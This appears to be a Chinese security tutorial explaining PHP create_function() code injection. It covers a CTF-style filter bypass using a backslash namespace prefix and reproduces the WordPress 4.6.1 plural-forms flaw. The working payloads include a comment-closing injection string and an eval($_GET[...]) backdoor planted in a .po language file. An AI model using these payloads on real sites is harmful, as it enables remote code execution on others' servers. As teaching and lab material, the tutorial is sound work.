從本地到WordPress代碼注入
什么是create_function?
版本影響:
注意:create_function在PHP7.2.0之后被廢棄,因此該函數的適用范圍在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0
簡單講解:
首先還是先看PHP手冊,PHP官方對create_function是這么定義的:

首先該函數有兩個參數,一個是函數參數,另一個是函數主體代碼,并且該函數的范圍值即為函數名。
舉個例子:
<?php$Lxxx = create_function('$str' , 'echo $str;phpinfo();');echo $Lxxx;echo "<br>";echo $Lxxx("hello");
我們新建一個函數,名稱為Lxxx,并且該函數的用途就是打印輸出傳入的字符串以及phpinfo頁面。
此時我們訪問頁面如下:

可以看到,這個時候打印輸出了hello以及phpinfo頁面
除此之外,我們可以發現函數名是一串以lambda開頭的字符串,也就是匿名函數。
這里我們可以發現,如果我們傳入create_funtion中的第二個參數可控,那么我們就可以進行命令執行。
如何利用create_function()進行注入?
想要知道如何利用它進行注入,我們還得看看PHP官方手冊是怎么說的:

其實就是需要我們注意,這個函數本身就是在內部執行eval函數,
因此我們可以將上方的代碼改寫成另一種等價的形式:
<?phpfunction lambda_6($str){ echo $str; phpinfo();}?>
那我們試想,既然這個函數參數可控,并且內部執行了eval函數,我們能否利用它進行RCE呢?
假設我們有以下代碼:
<?php$ctf = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) { $ctf('',$_GET['Lxxx']);}
其中傳入的ctf參數不能以字母數字下劃線開頭,而Lxxx參數對于我們來說是完全可控的。
既然如此我們可以考慮使用create_function函數,但是這個時候會出現一個問題,傳入的ctf參數不能以字母數字下劃線開頭,否則會產生匹配無法進入語句。

問題一:
那么該如何又使用create_function函數,又不以字母開頭呢?
分析一:
答案就是:使用反斜杠。
因為在PHP中默認的命名空間為\,也就是說,所有的原生函數以及各種原生類,都是在\這個命名空間下,平常我們使用的各種函數,默認都是直接寫函數名,但是并沒有管命名空間,不寫\調用函數相當于是一個相對路徑,同理,既然有相對路徑,那么就會有絕對路徑。也就是說當我們調用函數的時候,如果函數的命名空間在\下,我們使用\function_name()的方式調用函數,同樣也是可以的
問題二:
對于下方代碼,雖然參數可控,但是除了命令以外,還有}這個不可控字符,如果存在這個字符會報錯,該怎么辦?
<?phpfunction lambda_6($str){ echo $str; phpinfo();}?>
分析二:
注入的時候在末尾添加注釋符,將后面的內容注釋掉即可。
也就是說,我們只需要傳如下payload即可:
?Lxxx=;}phpinfo();/*POSTDATA: ctf=\create_function

WordPress中的create_function()注入
影響范圍:
WordPress<=4.6.1
漏洞復現:
WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一處使用到了create_function函數
涉及到的代碼如下:
/*** Makes a function, which will return the right translation index, according to the* plural forms header* @param int $nplurals* @param string $expression*/function make_plural_form_function($nplurals, $expression) {$expression = str_replace('n', '$n', $expression);$func_body = "\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";return create_function('$n', $func_body);}
從注釋中我們可以知道:這個函數是根據在目錄wp-content/languages下語言文件的plural forms這個header來創建函數并返回
首先該函數返回值中可控參數為$func_body,而該參數由$nplurals參數決定$func_body,并且$nplurals由語言文件中的plural forms決定,因此,只需要能控制語言文件,即可控制整一個create_function函數
首先plural forms在如下位置:

我們現在將第九行修改如下:
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"
用;}將前面的內容閉合,并且使用/*注釋掉后面的代碼
再將zh_CN.po文件重新編譯生成zh_CN.mo,雖然提示有錯,但是不影響我們編譯。

這個時候在主頁傳payload:
?Lxxx=phpinfo();
即可得到phpinfo頁面,也就達成了RCE。

實操推薦
Vulnhub滲透測試實戰靶場WordPress:http://mrw.so/5YMgxN